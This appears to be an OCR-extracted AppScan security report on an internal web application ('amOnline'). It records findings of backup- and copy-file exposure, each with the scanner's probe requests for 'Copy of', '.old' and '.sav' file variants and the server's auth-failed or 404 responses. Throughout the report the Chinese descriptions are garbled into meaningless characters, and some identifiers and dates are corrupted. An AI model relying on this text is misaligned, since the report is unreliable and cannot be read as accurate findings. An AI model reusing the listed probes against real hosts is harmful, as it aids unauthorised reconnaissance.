URL: http://172.20.7.168:8083/amonline/app/onlinemon/onlineaction!getpollutantswithpsid.page
Sz onlineAction!getPollutantsWithPsID.page (Page)

ARG - I RESINER 55 Web SRR IIEURME R, W &, %0, Hlas M aimugoc o &
JEA - FELE PR R BT I SCAF

I 5 - B2 RE AU, H s mb B8 T RS S A

#Z5: cookie TMIEREEZS:  57A6A5AE8E37C43B017578F75A282932

Jiik MLUFALE#ATES]:  post Z: cer
ﬁﬁﬁi Akgljiﬁigiﬁi?ffé%u: /amOnline/app/onlinemon/onlineAction!getPollutantsWithPsID.page

ESh /amOnline/app/onlinemon/ onlineAction!getPollutantsWithPsID.page

HE®E:  AppScan RIS AT REAS R N IFE P Ak 3 . M RRA 9200 OK” o X R I R 2

TSRS N2

a7 SR A -

7] /&t

2019/6/24

GET /amOnline/app/onlinemon/ onlineAction!getPollutantsWithPsID.page?psID=510101055565 HTTP/1.1
X-Requested-With: XMLHttpRequest

Accept: application/json, text/javascript, */*; g=0.01

Referer: http://172.20.7.168:8083/amOnline/app/onlinemon/onlineAction!history.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

Cookie: hasshown=1

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 03:54:16 GMT

Set-Cookie: JSESSIONID=414FDACDEA9165C8ABAGEA9453E116F7; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " S BAT B S 2 Y, 3 o R R

}
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fa i

Cvss 7+#t: 5.0

URL: http://172.20.7.168:8083/amonline/app/monitorspot/spotaction!findacceptinfos.page
Sz spotAction!findAcceptinfos.page (Page)

ARG - I RESINER 55 Web SRR IIEURME R, W &, %0, Hlas M aimugoc o &
JEA - FELE PR R BT I SCAF

I 5 - B2 RE AU, H s mb B8 T RS S A

#Z5: cookie TMIEREEZS:  57A6A5AE8E37C43B017578F75A282932

Jiik MLUFALE#ATES]:  post Z: cer
jzﬁk AkELWiﬁiﬁiﬁi?fié%U: search_acceptStatus=-99&search pageNo=l&search pageSize=20 ﬁi:
iﬁﬁ@ Eibkﬁ%ﬂé&%éi: application/x-www-form-urlencoded; charset=UTF-8

ﬁﬁﬁi Ak211:ﬁiiiﬁi?ff§%ﬂ: /amOnline/app/monitorspot/spotAction!findAcceptInfos.page ESh

/amOnline/app/monitorspot/ spotAction!findAcceptInfos.page

HERE:  AppScan RIS AT REAS R N IFE P Ak 3 . M RRA 9200 OK” o X R I R 2

TSRS N2

a7 SR A -

7] /&t

2019/6/24

GET /amOnline/app/monitorspot/_spotAction!findAcceptInfos.page HTTP/1.1

Accept: application/json, text/javascript, */*; g=0.01

Cookie: hasshown=1

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/monitorspot/spotAction!list.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 03:54:19 GMT

Set-Cookie: JSESSIONID=337D0C18CCB685B2B3D4073B217BFE49; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " S BAT B S 2 Y, 3 o R R

}
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B

CVSS 4%: 5.0

URL:
otk

http://172.20.7.168:8083/amonline/app/monitorspot/stopaction!findstopinfos.page
stopAction!findStoplInfos.page (Page)

RES SRR 5% Web MR P IIBURME S, 4. %h5. Pk A/ e U A &
FEAE = A P B T I i S

: B 25 RO H S P A TH RRCA SC A

#5: cookie CUNIEREZ:  57a6A5AESE37C43B017578F75A282932

28 SRR 2019-04-24

28 S HIERRE:  2019-06-24

Tk ML T AL EHEATEH]:  posT &: cET

jEW Mu?’ﬁ[ﬁl&fﬁ‘ﬁﬂm pageNo=1l&pageSize=20&showPageInfo=true&showPagelList=false E:
iﬁﬁﬂ Eibkﬁ%ﬁé&%éi: application/x-www-form-urlencoded; charset=UTF-8

%ﬁ%ﬁ A&ELﬂiﬁiiiﬂE1f%§$U: /amOnline/app/monitorspot/stopAction!findStopInfos.page SR

/amOnline/app/monitorspot/_stopAction!findStopInfos.page

HEFE:  AppScan RIS AT REASE R HTFE Ak o o W RRA 9200 OK” . X s I BRI 2

THTER ISR
I R i -

2019/6/24

GET /amOnline/app/monitorspot/ stopAction!findStopInfos.page HTTP/1.1

Accept: application/json, text/javascript, */*; g=0.01

Cookie: hasshown=1

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/monitorspot/stopAction!list.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 03:54:19 GMT

Set-Cookie: JSESSIONID=2DFDEBB1COE9A402A9B5E80D7BDESFD6; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth failed",
"msg": " RS RESIE O, WEH SR

}
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Cvss /i%: 5.0

URL: http://172.20.7.168:8083/amonline/app/psinfo/psinfolview.page

Sk - psinfolview.page (Page)

ARG - FIRES NI BRA SO, X2t R S PR e 1 8 FLAth i Y P 42 A S 2 2RI BURAE B
B FEAE PRI B R i ST

6l 5 A - B 2% R 40 H s HF A TH AR ST

2%;%: ﬂﬁ%ﬁ Ak211:ﬁiiiﬂi?f%§%ﬂ: /amOnline/app/psinfo/psInfo!view.page ﬁi:

/amOnline/app/psinfo/Copy%200£%20psInfo!view.page

HEFE:  AppScan RIS AT REASE R HTFE Ak o o W RRA 9200 OK” . X s I BRI

THTER ISR
I R i -

GET /amOnline/app/psinfo/Copy%200£f%$20psInfo!view.page HTTP/1.1

Cookie: hasshown=1; JSESSIONID=E07562F6D54977989F74AA54CCCO33DF

Accept-Language: en-US

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;q=0.8

Referer: http://172.20.7.168:8083/amOnline/app/AppMain.page

Host: 172.20.7.168:8083

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1
Content-Type: text/html;charset=utf-8
Transfer-Encoding: chunked

Vary: Accept-Encoding

Date: Mon, 24 Jun 2019 03:10:37 GMT

<html>
<head>

<title>404</title>

<link href="/amOnline/static/themes/exception.css" type="text/css" rel="stylesheet"/>
</head>

<body class="errorPageBg">

<div class="msgTitle">Z&REMiR</div>

<div class="msgDetail">

<p>EfiRiY: 404</p>

<p>HIRMEE: YR ITh R CAE BRI EE | </p>
</div>

</body>

</html>
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fa i

Cvss 7+#t: 5.0

URL: http://172.20.7.168:8083/amonline/app/appmain.page

Sefhk: AppMain.page (Page)

AR - FIRES T BRI B SCAR, 3K il S PR P32 8 SHL A 8 4 P 42 R ) 22 SR AR U 2,
JEA - FELE PR R BT I SCAF

I 5 - B2 RE AU, H s mb B8 T RS S A

%Fﬁ": %ﬁ }‘)\ U\Tﬁﬁlﬁﬁﬁ?ﬁﬂ /amOnline/app/AppMain.page §:

/amOnline/app/Copy%200f%20AppMain.page

HE#:  AppScan 11 K 130 AT REAZ B ITRE P IO B il 7o M RLRES 79200 OK” o X R Rl BRI R 2R

T TR SCAF A .

a7 R A -

7] /&t

2019/6/24

GET /amOnline/app/Copy%200f£%20AppMain.page HTTP/1.1

Cookie: hasshown=1; JSESSIONID=DD5A70E857941E31A168272200273FE6

Accept-Language: en-US

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,*/*;g=0.8

Referer: http://172.20.7.168:8083/amOnline/app/AppMain.page

Host: 172.20.7.168:8083

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1
Content-Type: text/html;charset=utf-8
Transfer-Encoding: chunked

Vary: Accept-Encoding

Date: Mon, 24 Jun 2019 03:10:37 GMT

<html>
<head>

<title>404</title>

<link href="/amOnline/static/themes/exception.css" type="text/css" rel="stylesheet"/>
</head>

<body class="errorPageBg">

<div class="msgTitle">Z&REHiR</div>

<div class="msgDetail">

<p>fiRfY: 404</p>

<p>HIRMEE: BU R DIRE CAPR REAEAE 1 </p>
</div>

</body>

</html>
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CVSS 4r#i: 5.0
URL: http://172.20.7.168:8083/amonline/app/onlinemon/onlineaction!history.page
k- onlineAction!history.page (Page)
PR - A RES T BRI AR, X itk I HI A e 32 4 S Hu A i 7 44 R3S 1 2 SR BURE B
JEIA - FEAR P3R5 v B I i SO
A1 7E - Bk 25 KAWL B 5% B 1R RS S A
%Fﬁ": %ﬁ }‘)\ U\Tﬁﬁlﬁﬁﬁfﬁﬂ /amOnline/app/onlinemon/onlineAction!history.page E:
/amOnline/app/onlinemon/Copy%$200f%20onlineAction!history.page
¥ AppScan & KRR SCIE AT REAN R BRI G EER 4. W RLRAS 79200 OK” . X F7R Ml il DA 28
TR R IS N
DR SR A Bz -

GET /amOnline/app/onlinemon/Copy%$200f%20onlineAction!history.page HTTP/1.1
Cookie: hasshown=1; JSESSIONID=E07562F6D54977989F74AA54CCCO033DF
Accept-Language: en-US

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,*/*;g=0.8
Referer: http://172.20.7.168:8083/amOnline/app/AppMain.page

Host:

User-

172.20.7.168:8083
Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1
Content-Type: text/html;charset=utf-8
Transfer-Encoding: chunked

Vary:
Date:

Accept-Encoding
Mon, 24 Jun 2019 03:10:37 GMT

<html>
<head>

<title>404</title>

<link href="/amOnline/static/themes/exception.css" type="text/css" rel="stylesheet"/>
</head>

<body class="errorPageBg">

<div
<div

class="msgTitle">AZiiR</div>
class="msgDetail">

<p>fiRfY: 404</p>

<p>HHRIE R ViR TR DA R | </p>
</div>
</body>
</html>
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P
CVSS 4r#i: 5.0
URL: http://172.20.7.168:8083/amonline/app/monitorspot/spotaction!list.page
k- spotActionllist.page (Page)
PR - A RES T BRI AR, X itk I HI A e 32 4 S Hu A i 7 44 R3S 1 2 SR BURE B
J5HA - FEAR P3R5 v B I i SO
A1 7E - Bk 25 KAWL B 5% B 1R RS S A
%Fﬁ": %ﬁ }‘)\ U\Tﬁﬁlﬁﬁﬁfﬁﬂ /amOnline/app/monitorspot/spotAction!list.page E:
/amOnline/app/monitorspot/Copy%200f%20spotAction!list.page
¥ AppScan & KRR SCIE AT REAN R BRI G EER 4. W RLRAS 79200 OK” . X F7R Ml il DA 28
TP SR A SRR A2
875 R A oz -

GET /amOnline/app/monitorspot/Copy%200f%20spotAction!list.page HTTP/1.1
Cookie: hasshown=1; JSESSIONID=E07562F6D54977989F74AA54CCCO033DF
Accept-Language: en-US

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,*/*;g=0.8
Referer: http://172.20.7.168:8083/amOnline/app/AppMain.page

Host:

User-

172.20.7.168:8083
Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1
Content-Type: text/html;charset=utf-8
Transfer-Encoding: chunked

Vary:
Date:

Accept-Encoding
Mon, 24 Jun 2019 03:10:37 GMT

<html>
<head>

<title>404</title>

<link href="/amOnline/static/themes/exception.css" type="text/css" rel="stylesheet"/>
</head>

<body class="errorPageBg">

<div
<div

class="msgTitle">AZiiR</div>
class="msgDetail">

<p>fiRfY: 404</p>

<p>HHRIE R ViR TR DA R | </p>
</div>
</body>
</html>
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W B SCHF 4%

P
CVSS 4r#i: 5.0
URL: http://172.20.7.168:8083/amonline/app/monitorspot/stopaction!list.page
k- stopActionllist.page (Page)
PR - A RES T BRI AR, X itk I HI A e 32 4 S Hu A i 7 44 R3S 1 2 SR BURE B
JEIA - FEAR P3R5 v B I i SO
A1 7E - Bk 25 KAWL B 5% B 1R RS S A
%Fﬁ": %ﬁ }‘)\ U\Tﬁﬁlﬁﬁﬁfﬁﬂ /amOnline/app/monitorspot/stopAction!list.page E:
/amOnline/app/monitorspot/Copy%200f%20stopAction!list.page
¥ AppScan & KRR SCIE AT REAN R BRI G EER 4. W RLRAS 79200 OK” . X F7R Ml il DA 28
TP SR A SRR A2
875 R A oz -

GET /amOnline/app/monitorspot/Copy%200f%20stopAction!list.page HTTP/1.1
Cookie: hasshown=1; JSESSIONID=E07562F6D54977989F74AA54CCCO033DF
Accept-Language: en-US

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,*/*;g=0.8
Referer: http://172.20.7.168:8083/amOnline/app/AppMain.page

Host:

User-

172.20.7.168:8083
Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1
Content-Type: text/html;charset=utf-8
Transfer-Encoding: chunked

Vary:
Date:

Accept-Encoding
Mon, 24 Jun 2019 03:10:37 GMT

<html>
<head>

<title>404</title>

<link href="/amOnline/static/themes/exception.css" type="text/css" rel="stylesheet"/>
</head>

<body class="errorPageBg">

<div
<div

class="msgTitle">AZiiR</div>
class="msgDetail">

<p>fiRfY: 404</p>

<p>HHRIE R ViR TR DA R | </p>
</div>
</body>
</html>
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URL: http://172.20.7.168:8083/amonline/app/revisedmanage/revisedaction!list.page
Sk revisedActionllist.page (Page)
ARG - FIRE S N B A SO, X 2R BR84S HLAL v dn P P 44 R R 2 SR BURR S B
A FEAR P3R5 v B I i SO
I 5 - Bk 25 KAWL B 5% B 1R RS S A
%Fﬁ": %ﬁ }‘)\ U\Tﬁﬁlﬁﬁﬁfﬁﬂ /amOnline/app/revisedmanage/revisedAction!list.page @:
/amOnline/app/revisedmanage/Copy%200f%20revisedAction!list.page
¥ AppScan & KRR SCIE AT REAN R BRI G EER 4. W RLRAS 79200 OK” . X F7R Ml il DA 28
TP SR A SRR A2
875 R A oz -

GET /amOnline/app/revisedmanage/Copy%200f%20revisedAction!list.page HTTP/1.1
Cookie: hasshown=1; JSESSIONID=E07562F6D54977989F74AA54CCCO033DF
Accept-Language: en-US

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,*/*;g=0.8
Referer: http://172.20.7.168:8083/amOnline/app/AppMain.page

Host:

User-

172.20.7.168:8083
Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1
Content-Type: text/html;charset=utf-8
Transfer-Encoding: chunked

Vary:
Date:

Accept-Encoding
Mon, 24 Jun 2019 03:10:37 GMT

<html>
<head>

<title>404</title>

<link href="/amOnline/static/themes/exception.css" type="text/css" rel="stylesheet"/>
</head>

<body class="errorPageBg">

<div
<div

class="msgTitle">AZiiR</div>
class="msgDetail">

<p>fiRfY: 404</p>
<p>HHRIE R ViR TR DA R | </p>

</div>

</body>

</html>
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URL: http://172.20.7.168:8083/amonline/app/account/accountaction!list.page
k- accountActionllist.page (Page)
PR - A RES T BRI AR, X itk I HI A e 32 4 S Hu A i 7 44 R3S 1 2 SR BURE B
JEIA - FEAR P3R5 v B I i SO
A1 7E - Bk 25 KAWL B 5% B 1R RS S A
%§5%= ﬂﬁ%ﬁ A&ELjiﬁigiﬂiff%§%U: /amOnline/app/account/accountAction!list.page §§:
/amOnline/app/account/Copy%200f%20accountAction!list.page
¥ AppScan & KRR SCIE AT REAN R BRI G EER 4. W RLRAS 79200 OK” . X F7R Ml il DA 28
TP SR A SRR A2
875 R A oz -

GET /amOnline/app/account/Copy%200f%20accountAction!list.page HTTP/1.1
Cookie: hasshown=1; JSESSIONID=E07562F6D54977989F74AA54CCCO033DF
Accept-Language: en-US

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,*/*;g=0.8
Referer: http://172.20.7.168:8083/amOnline/app/AppMain.page

Host:

User-

172.20.7.168:8083
Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1
Content-Type: text/html;charset=utf-8
Transfer-Encoding: chunked

Vary:
Date:

Accept-Encoding
Mon, 24 Jun 2019 03:10:37 GMT

<html>
<head>

<title>404</title>

<link href="/amOnline/static/themes/exception.css" type="text/css" rel="stylesheet"/>
</head>

<body class="errorPageBg">

<div
<div

class="msgTitle">AZiiR</div>
class="msgDetail">

<p>fiRfY: 404</p>

<p>HHRIE R ViR TR DA R | </p>
</div>
</body>
</html>
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P
CVSS 4r#i: 5.0
URL: http://172.20.7.168:8083/amonline/app/loginfo/loginfoaction!list.page
k- loginfoActionllist.page (Page)
PR - A RES T BRI AR, X itk I HI A e 32 4 S Hu A i 7 44 R3S 1 2 SR BURE B
A FEAR P3R5 v B I i SO
A1 7E - Bk 25 KAWL B 5% B 1R RS S A
%§5%= ﬂﬁ%ﬁ A&ELjiﬁigiﬂiff%§%U: /amOnline/app/loginfo/loginfoAction!list.page §§:
/amOnline/app/loginfo/Copy%200f%20loginfoAction!list.page
HEFE.  AppScan RS0 AT RS S R AR F I LRI 4 o RDIRAS 497200 OK” o X R Ik %
TR R IS N
875 R A oz -

GET /amOnline/app/loginfo/Copy%200f%20loginfoAction!list.page HTTP/1.1
Cookie: hasshown=1; JSESSIONID=E07562F6D54977989F74AA54CCCO033DF
Accept-Language: en-US

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,*/*;g=0.8
Referer: http://172.20.7.168:8083/amOnline/app/AppMain.page

Host:

User-

172.20.7.168:8083
Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1
Content-Type: text/html;charset=utf-8
Transfer-Encoding: chunked

Vary:
Date:

Accept-Encoding
Mon, 24 Jun 2019 03:10:37 GMT

<html>
<head>

<title>404</title>

<link href="/amOnline/static/themes/exception.css" type="text/css" rel="stylesheet"/>
</head>

<body class="errorPageBg">

<div
<div

class="msgTitle">AZiiR</div>
class="msgDetail">

<p>fiRfY: 404</p>
<p>HHRIE R ViR TR DA R | </p>

</div>

</body>

</html>
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URL: http://172.20.7.168:8083/amonline/app/abnormity/abnormityaction!jsonlist.page

Sz abnormityActionljsonList.page (Page)

AR - FIRES T BRI B SCAR, 3K il S PR P32 8 SHL A 8 4 P 42 R ) 22 SR AR U 2,
JEA - FELE PR R BT I SCAF

I 5 - B2 RE AU, H s mb B8 T RS S A

%5 : cookie CLAIERERZE: | 57a6A5aE8E37C43B017578F75A282932
28 SRR 2019-04-24
28 SRR 2019-06-24
Jiik MWCAFALE B THEH): posT  &: cET
Tk LU AL B AT P
search_alarmType=2&search_disposeType=1&pageNo=1&pageSize=15&showPageInfo=true&showPagelList=f
alse

ECE
ﬁﬁ%@ Eibkiﬁikﬁ%ig: application/x-www-form-urlencoded; charset=UTF-8
%&%ﬁ AkELWiﬁiﬁiﬁE?f%ﬁﬁﬂ: /amOnline/app/abnormity/abnormityAction!jsonList.page Eh

/amOnline/app/abnormity/abnormityAction!jsonList.sav

R MR R RS R AR B S A HTML W2, RoRiEAUD R R 2.
i R A -

GET /amOnline/app/abnormity/abnormityAction!jsonList.sav HTTP/1.1

Accept: application/json, text/javascript, */*; g=0.01

Cookie: hasshown=1

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/abnormity/abnormityAction!abnormity.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 03:54:14 GMT

Set-Cookie: JSESSIONID=CCEA2021EE811FACAAAE6EBDE2509DF9; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth failed",
"msg": " S G S el OO, 1

}
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W B SCHF 4%

fa i

Cvss 7+#t: 5.0

URL: http://172.20.7.168:8083/amonline/app/psinfo/psinfollistpsinfo.page

Sz psinfollistPsInfo.page (Page)

AR - FIRES T BRI B SCAR, 3K il S PR P32 8 SHL A 8 4 P 42 R ) 22 SR AR U 2,
JEA - FELE PR R BT I SCAF

I 5 - B2 RE AU, H s mb B8 T RS S A

#5:  cookie CUNIERFREZ: | 57a6A5AESE37C43B017578F75A282932

28 CNERERZ:: 1561348464198
ﬁﬁﬁi Ak211:ﬁiiiﬁif?f§%ﬂ: /amOnline/app/psinfo/psInfo!listPsInfo.page ﬁi:

/amOnline/app/psinfo/psInfo!listPsInfo.old

MR MR R AR SRR AR B S AR HTML WA, RoRIEAUS IR O ).
I R A -

) et

2019/6/24

GET /amOnline/app/psinfo/psInfo!listPsInfo.old?psid= HTTP/1.1

X-Requested-With: XMLHttpRequest

Accept: application/json, text/javascript, */*; g=0.01

Referer: http://172.20.7.168:8083/amOnline/app/psinfo/psInfo!view.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Cookie: hasshown=1

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 03:54:15 GMT

Set-Cookie: JSESSIONID=F5F84B780417059F9ACF8BCDDDBCEDEA; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " A B R STECEW, EERE

}
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IR SCAF B 3
FeE
CVSS #1%: 5.0

URL: http://172.20.7.168:8083/amonline/app/onlinemon/onlineaction!getpollutantswithpsid.page
Sz onlineAction!getPollutantsWithPsID.page (Page)

AR - FIRES T BRI B SCAR, 3K il S PR P32 8 SHL A 8 4 P 42 R ) 22 SR AR U 2,
JEA - FELE PR R BT I SCAF

I 5 - B2 RE AU, H s mb B8 T RS S A

Z5: cookie TDNIEKERZE: 57a6a5aE8837C438017578F758282932
T DUV ESATISE]: post &:  emr
ﬁﬁﬁi Akgljiﬁigiﬁi?ffé%u: /amOnline/app/onlinemon/onlineAction!getPollutantsWithPsID.page

ESh /amOnline/app/onlinemon/onlineAction!getPollutantsWithPsID.old

MR MR R AR SRR AR B S AR HTML WA, RoRIEAUS IR O ).
I R A -

GET /amOnline/app/onlinemon/onlineAction!getPollutantsWithPsID.old?psID=510101055565 HTTP/1.1
X-Requested-With: XMLHttpRequest

Accept: application/json, text/javascript, */*; g=0.01

Referer: http://172.20.7.168:8083/amOnline/app/onlinemon/onlineAction'history.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

Cookie: hasshown=1

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 03:54:16 GMT

Set-Cookie: JSESSIONID=5F31446BA03A20249CE15FC5E8F159A3; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth failed",
"msg": " A SR STE DT, HER g

}
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W B SCHF 4%

fa i

Cvss 7+#t: 5.0

URL: http://172.20.7.168:8083/amonline/app/monitorspot/spotaction!findacceptinfos.page

Sz spotAction!findAcceptinfos.page (Page)

AR - FIRES T BRI B SCAR, 3K il S PR P32 8 SHL A 8 4 P 42 R ) 22 SR AR U 2,
JEA - FELE PR R BT I SCAF

I 5 - B2 RE AU, H s mb B8 T RS S A

#Z5: cookie T MIEREEZS:  57A6A5AE8E37C43B017578F75A282932

Jiik ML ALE#ATES]:  posT Z: cer
jzﬁk AkELWiﬁiﬁiﬁi?fié%U: search_acceptStatus=-99&search pageNo=l&search pageSize=20 ﬁi:
iﬁﬁ@ Eibkﬁ%ﬂé&%éi: application/x-www-form-urlencoded; charset=UTF-8

ﬁﬁﬁi Ak211:ﬁiiiﬁi?ff§%ﬂ: /amOnline/app/monitorspot/spotAction!findAcceptInfos.page ESh

/amOnline/app/monitorspot/spotAction! findAcceptInfos.old

MR NS R S R AR B S AR HTML W&, RoREAURS IR O ).
I R A i -

7] it

2019/6/24

GET /amOnline/app/monitorspot/spotAction!findAcceptInfos.old HTTP/1.1

Accept: application/json, text/javascript, */*; g=0.01

Cookie: hasshown=1

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/monitorspot/spotAction!list.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 03:54:18 GMT

Set-Cookie: JSESSIONID=7195EE4450298BDFE362B433E768433D; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth failed",
"msg": " A SR STEC T, HER g

}
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IR SCAF B 3
FeE
CVSS #1%: 5.0

URL: http://172.20.7.168:8083/amonline/app/onlinemon/admin/onlineaction!getpollutantswithpsid.page
Sz onlineAction!getPollutantsWithPsID.page (Page)

AR - FIRES T BRI B SCAR, 3K il S PR P32 8 SHL A 8 4 P 42 R ) 22 SR AR U 2,

JEA - FELE PR R BT I SCAF

I 5 - B2 RE AU, H s mb B8 T RS S A

Z5: B DU A BT H]
/amOnline/app/onlinemon/admin/onlineAction!getPollutantsWithPsID.page ER

/amOnline/app/onlinemon/admin/Copy%200£f%20onlineAction!getPollutantsWithPsID.page

HEFE:  AppScan RIS AT REASE R HTFE I AA o o W RRA 9200 OK” . X s I BRI

THTER ISR
i R A -

GET /amOnline/app/onlinemon/admin/Copy%200f%20onlineAction!getPollutantsWithPsID.page?
psID=510101055565 HTTP/1.1

X-Requested-With: XMLHttpRequest

Accept: application/json, text/javascript, */*; g=0.01

Referer: http://172.20.7.168:8083/amOnline/app/onlinemon/onlineAction!history.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

Cookie: hasshown=1

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 04:01:05 GMT

Set-Cookie: JSESSIONID=C647F3A873CF1F1FED62D166D155F8E6; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " A B R STECEW, EERE

}
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W B SCHF 4%

fa i

Cvss 7+#t: 5.0

URL: http://172.20.7.168:8083/amonline/app/monitorspot/stopaction!findstopinfos.page

Sz stopAction!findStoplInfos.page (Page)

AR - FIRES T BRI B SCAR, 3K il S PR P32 8 SHL A 8 4 P 42 R ) 22 SR AR U 2,
JEA - FELE PR R BT I SCAF

I 5 - B2 RE AU, H s mb B8 T RS S A

#Z5: cookie T MIEREEZS:  57A6A5AE8E37C43B017578F75A282932

28 SR 2009-04-24

28 SRR 2019-06-24

Jiik MWCAFALE B THEH): posT  &:  cET

jﬁﬁ$ AkElTiﬁiﬁiﬂi%?%éﬁﬂ: pageNo=1l&pageSize=20&showPageInfo=true&showPagelList=false ﬁi:
ﬁﬁ%@ Eibkﬁ%jiﬁ%ig: application/x-www-form-urlencoded; charset=UTF-8

%ﬁ%ﬁ Akulj:ﬁiggﬂi?f%ﬁﬁu: /amOnline/app/monitorspot/stopAction!findStopInfos.page R

/amOnline/app/monitorspot/stopAction!findStopInfos.old

R MR RS R AR B S AR HTML W2, RoRIEAUD R R 2.
a7 R A -

7] 7t

2019/6/24

GET /amOnline/app/monitorspot/stopAction!findStopInfos.old HTTP/1.1

Accept: application/json, text/javascript, */*; g=0.01

Cookie: hasshown=1

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/monitorspot/stopAction!list.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 03:54:19 GMT

Set-Cookie: JSESSIONID=17C127EA9906DA26E5C777199F025E4A; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/ApplLogin.page?loginError=auth failed",
"msg": " B EREIE Y, HER R

}
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W B SCHF 4%

fa i

Cvss 7+#t: 5.0

URL: http://172.20.7.168:8083/amonline/app/monitorspotadmin/spotaction!findacceptinfos.page
Sz spotAction!findAcceptinfos.page (Page)

